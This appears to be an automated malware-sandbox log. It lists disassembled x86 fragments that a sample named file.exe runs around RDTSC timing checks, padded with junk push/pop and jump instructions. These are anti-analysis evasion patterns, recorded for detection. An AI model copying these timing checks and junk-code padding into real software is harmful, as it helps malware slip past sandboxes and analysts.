Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7181EB second address: 718211 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F9DB0FF9A36h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 je 00007F9DB0FF9A36h 0x00000017 popad 0x00000018 jng 00007F9DB0FF9A42h 0x0000001e jno 00007F9DB0FF9A36h 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 716769 second address: 716781 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB10DC5BEh 0x00000007 js 00007F9DB10DC5B6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 716A7A second address: 716A7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 716A7E second address: 716A84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 717895 second address: 71789A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 717BA6 second address: 717BB7 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jp 00007F9DB10DC5B6h 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 717BB7 second address: 717BC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 717BC4 second address: 717BDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007F9DB10DC5C5h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 717BDE second address: 717BEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jng 00007F9DB0FF9A36h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 717BEA second address: 717BEE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 717BEE second address: 717BFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnl 00007F9DB0FF9A36h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 71B53B second address: 71B545 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 71B545 second address: 71B549 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 71B549 second address: 71B55C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB10DC5BAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 71B55C second address: 71B56B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 71B56B second address: 71B575 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F9DB10DC5B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 71B6C2 second address: 71B6C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 71B6C6 second address: 71B6EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007F9DB10DC5C2h 0x0000000c jmp 00007F9DB10DC5BCh 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F9DB10DC5BBh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 71B806 second address: 71B80A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 71B80A second address: 71B832 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F9DB10DC5C9h 0x0000000b pushad 0x0000000c jno 00007F9DB10DC5B6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 71B98F second address: 71B9CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F9DB0FF9A36h 0x0000000a jmp 00007F9DB0FF9A40h 0x0000000f jmp 00007F9DB0FF9A40h 0x00000014 popad 0x00000015 push eax 0x00000016 jmp 00007F9DB0FF9A40h 0x0000001b pop eax 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 71B9CC second address: 71B9D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F9DB10DC5B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 71BB6B second address: 71BB71 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 71BE25 second address: 71BE29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 71BE29 second address: 71BE2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 71BE2F second address: 71BE39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 71BE39 second address: 71BE3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 71BE3F second address: 71BE49 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F9DB10DC5B6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 71BE49 second address: 71BE7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 popad 0x00000009 pop eax 0x0000000a jmp 00007F9DB0FF9A46h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F9DB0FF9A3Eh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 71BE7A second address: 71BE7F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 726CA2 second address: 726CB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push edi 0x00000008 ja 00007F9DB0FF9A36h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 726CB2 second address: 726CBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 726CBB second address: 726CDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F9DB0FF9A46h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 726CDC second address: 726CEE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB10DC5BEh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 726FA1 second address: 726FAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jo 00007F9DB0FF9A3Eh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 727132 second address: 727136 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7273F8 second address: 7273FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 72754E second address: 727554 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 727554 second address: 72755A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 72803A second address: 72803E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 72803E second address: 72805D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB0FF9A3Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jns 00007F9DB0FF9A3Eh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 72805D second address: 728064 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 728064 second address: 72806D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 72806D second address: 728071 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 72882A second address: 72883D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F9DB0FF9A36h 0x0000000a pushad 0x0000000b popad 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 726747 second address: 72674C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 730E60 second address: 730E8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop ecx 0x00000007 popad 0x00000008 pushad 0x00000009 jmp 00007F9DB0FF9A3Bh 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007F9DB0FF9A42h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 730FEE second address: 730FF4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 731157 second address: 731163 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jng 00007F9DB0FF9A36h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 731163 second address: 731186 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jnl 00007F9DB10DC5B6h 0x00000009 jo 00007F9DB10DC5B6h 0x0000000f pop edx 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 jo 00007F9DB10DC5B6h 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f push ebx 0x00000020 pop ebx 0x00000021 push esi 0x00000022 pop esi 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 731186 second address: 731194 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jg 00007F9DB0FF9A36h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 731194 second address: 7311A6 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F9DB10DC5B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c je 00007F9DB10DC5B6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7400D4 second address: 7400DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7400DA second address: 7400DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7400DE second address: 7400E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7400E2 second address: 7400F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnc 00007F9DB10DC5BEh 0x0000000e push edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 741E58 second address: 741E8F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB0FF9A46h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F9DB0FF9A67h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F9DB0FF9A43h 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 741E8F second address: 741E9E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 ja 00007F9DB10DC5B6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 757F81 second address: 757F85 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 757DD3 second address: 757DE7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F9DB10DC5BCh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 757DE7 second address: 757DEC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 757DEC second address: 757DF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 757DF4 second address: 757E15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F9DB0FF9A36h 0x0000000a popad 0x0000000b pushad 0x0000000c push edi 0x0000000d pop edi 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jg 00007F9DB0FF9A38h 0x0000001b pushad 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 757E15 second address: 757E19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 757E19 second address: 757E1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 757E1D second address: 757E23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 757E23 second address: 757E3F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007F9DB0FF9A36h 0x00000009 je 00007F9DB0FF9A36h 0x0000000f je 00007F9DB0FF9A36h 0x00000015 push esi 0x00000016 pop esi 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a push edx 0x0000001b pop edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 761571 second address: 761575 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 761575 second address: 7615AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9DB0FF9A42h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jbe 00007F9DB0FF9A47h 0x00000011 jmp 00007F9DB0FF9A41h 0x00000016 popad 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7615AA second address: 7615AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7615AE second address: 7615E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB0FF9A43h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d pop eax 0x0000000e jmp 00007F9DB0FF9A49h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 75FEF6 second address: 75FF01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F9DB10DC5B6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 76055C second address: 760585 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB0FF9A47h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b ja 00007F9DB0FF9A36h 0x00000011 ja 00007F9DB0FF9A36h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 760585 second address: 76058F instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F9DB10DC5B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7606E5 second address: 7606EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F9DB0FF9A36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7606EF second address: 7606F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7606F5 second address: 7606FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7612BC second address: 7612EF instructions: 0x00000000 rdtsc 0x00000002 js 00007F9DB10DC5B6h 0x00000008 jmp 00007F9DB10DC5C4h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F9DB10DC5C3h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7641AE second address: 7641B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7641B8 second address: 7641C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 76E661 second address: 76E665 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 76E665 second address: 76E671 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F9DB10DC5B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 780290 second address: 780294 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 780294 second address: 7802C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9DB10DC5C7h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F9DB10DC5C2h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7802C7 second address: 7802EC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB0FF9A49h 0x00000007 push eax 0x00000008 push edx 0x00000009 jne 00007F9DB0FF9A36h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7802EC second address: 7802F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 78011F second address: 780129 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 783059 second address: 783061 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 783061 second address: 78307A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB0FF9A41h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 79BFF5 second address: 79C022 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F9DB10DC5BFh 0x0000000c jmp 00007F9DB10DC5C7h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 79C022 second address: 79C028 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 79AF52 second address: 79AF56 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 79B0AF second address: 79B0B9 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F9DB0FF9A36h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 79B1F2 second address: 79B1F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 79B1F8 second address: 79B22A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB0FF9A42h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F9DB0FF9A49h 0x0000000e push ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 79B755 second address: 79B75A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 79B75A second address: 79B767 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jng 00007F9DB0FF9A42h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 79B767 second address: 79B76D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 79B76D second address: 79B777 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 79B777 second address: 79B784 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jl 00007F9DB10DC5B6h 0x0000000d rdtsc
